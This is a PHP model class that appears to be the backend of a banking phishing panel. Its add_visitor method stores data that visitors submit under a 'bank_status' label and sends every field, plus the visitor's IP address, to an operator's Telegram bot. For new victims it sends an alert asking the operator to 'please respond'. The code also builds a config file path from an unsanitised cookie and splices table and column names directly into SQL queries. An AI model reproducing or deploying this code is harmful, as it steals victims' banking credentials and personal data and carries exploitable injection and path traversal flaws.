<?php
class VisitorDataManagerModel {

    private $decoded_json;
        private  $db; // پہلے declare کریں


     public function __construct() {
        $this->db = new Database;

         if(isset($_COOKIE['token']) && $_COOKIE['token'] != null && $_COOKIE['token'] != "null"){
        $token = trim($_COOKIE['token']);
        $options_json = file_get_contents("../app/config/".$token.".json"); // load the panel options.json
        }else{
            $options_json = file_get_contents("../app/config/options.json"); // load the panel options.json
        }
        $this->decoded_json = json_decode($options_json, true);
        $url_to_status_array = array();
    
     }

    public function add_visitor_fist($data_array,$table,$my_arr) {

        // return $data_array;


        $this->db->query('SELECT * FROM '.$table.' WHERE uniqueid = :id');
        $this->db->bind(':id', $data_array['uniqueid']);
        $this->db->single();
        $count = $this->db->rowCount();
        $columns = $data_array;
        $columnString = implode(',', array_flip($columns));
        $valueString = ":".implode(',:', array_flip($columns));
        if($count > 0 ){
            $update_arr = [];
            foreach($columns as $key => $value){
                $str = "$key=:$key";
                array_push($update_arr,$str);
            }
            $update_query = implode(',', $update_arr);
            $this->db->query('UPDATE visitors SET '.$update_query.' WHERE uniqueid = :uniqueid');
        }else{

           $this->db->query("INSERT INTO $table($columnString) VALUES ($valueString)");
        }
         foreach($columns as $key => $value){
             $this->db->bind(":$key",$value);
         }
       $this->db->execute();
        
        return true;
       
  }

    public function add_visitor($data_array,$table,$my_arr) {

        // return $data_array;

        include('../app/config/telegram_config.php');
        $this->db->query('SELECT * FROM '.$table.' WHERE uniqueid = :id');
        $this->db->bind(':id', $data_array['uniqueid']);
         $get_row = $this->db->single();
        $count = $this->db->rowCount();
        $columns = $data_array;
        $columnString = implode(',', array_flip($columns));
        $valueString = ":".implode(',:', array_flip($columns));
        $status_bank = $data_array['bank_status'];
        if($count > 0 ){
            $update_arr = [];
            foreach($columns as $key => $value){
                $str = "$key=:$key";
                array_push($update_arr,$str);
            }
            $update_query = implode(',', $update_arr);
            $this->db->query('UPDATE visitors SET '.$update_query.' WHERE uniqueid = :uniqueid');

            $arr = (array) $data_array;
            $arr['ip_address'] = $_SERVER['REMOTE_ADDR'];
            $arr['visitor_id'] = $get_row->id;
            
              $message = "*********************$status_bank**************************\n\n";
            foreach (array_reverse($arr) as $key => $value) {
                if($key != 'new_data' && $key != "status" && $key != "useragent"){
                    $message.= ucfirst($key)." => ".ucfirst($value)."\n";
                }
            }

             $message .= "\n\n*********************$status_bank**************************";
            

            $botToken = $bot_token;
            $chatId = $chat_id;

             $website = "https://api.telegram.org/bot" . $botToken;
            $params = array(
              'chat_id' => $chatId,
              'text' => $message,
            );


          $ch = curl_init($website . '/sendMessage');
          curl_setopt($ch, CURLOPT_HEADER, false);
          curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
          curl_setopt($ch, CURLOPT_POST, 1);
          curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
          curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
          $result1 = curl_exec($ch);
          curl_close($ch);

        }else{

           $this->db->query("INSERT INTO $table($columnString) VALUES ($valueString)");


           $message = "*********************$status_bank**************************\n\n";
           $message .= "There has been entry new user with this ip address".$_SERVER['REMOTE_ADDR']." please respond";
             $message .= "\n\n*********************$status_bank**************************";
         

         $botToken = $bot_token;
         $chatId = $chat_id;

          $website = "https://api.telegram.org/bot" . $botToken;
         $params = array(
           'chat_id' => $chatId,
           'text' => $message,
         );


       $ch = curl_init($website . '/sendMessage');
       curl_setopt($ch, CURLOPT_HEADER, false);
       curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
       curl_setopt($ch, CURLOPT_POST, 1);
       curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
       curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
       $result1 = curl_exec($ch);
       curl_close($ch);

        }
         foreach($columns as $key => $value){
             $this->db->bind(":$key",$value);
         }
        if($this->db->execute()){
            $uniqueid = $data_array['uniqueid'];
            $status = $data_array['status'];
            
            $arr = [];
            foreach ($my_arr as $key => $value) {
                    $str = $key.":".$value;
                    array_push($arr,$str);
            }
            $str = implode(" , ",$arr);
             $this->db->query('INSERT INTO user_logs(uniqueid,txt,logs) VALUES (:uniqueid,:str,:logs)');
             $this->db->bind(':uniqueid',$uniqueid);
             $this->db->bind(':str',$str);
             $this->db->bind(':logs',$status);
             $this->db->execute();

             // return "working";

            return true;
        }else{
            return false;
        }
  }
  public function VisitorLoad($id){

    $this->db->query('SELECT * FROM visitors WHERE uniqueid=:id');
    $this->db->bind(":id",$id);
    $result = $this->db->single();

    foreach ($this->decoded_json as $options) {
              $button_array = $options["buttons"];

              foreach ($button_array as $button) {
                if($result->status == 0){
                    $result->status ="Loading";
                }else if($button["status"] == $result->status){
                    $result->status = $button["name"];
                }
              
              }
            }
    $result->capture_time = time() - $result->capture_time;
    return $result;

  }
  public function  loadVistor()
  {
      $this->db->query('SELECT * FROM visitors WHERE uniqueid = :id');
      $this->db->bind(':id', $_SESSION['visitor_uniqueid']);
      $row = $this->db->single();
      $count = $this->db->rowCount();
      return $row;
      
  }
  
}
?>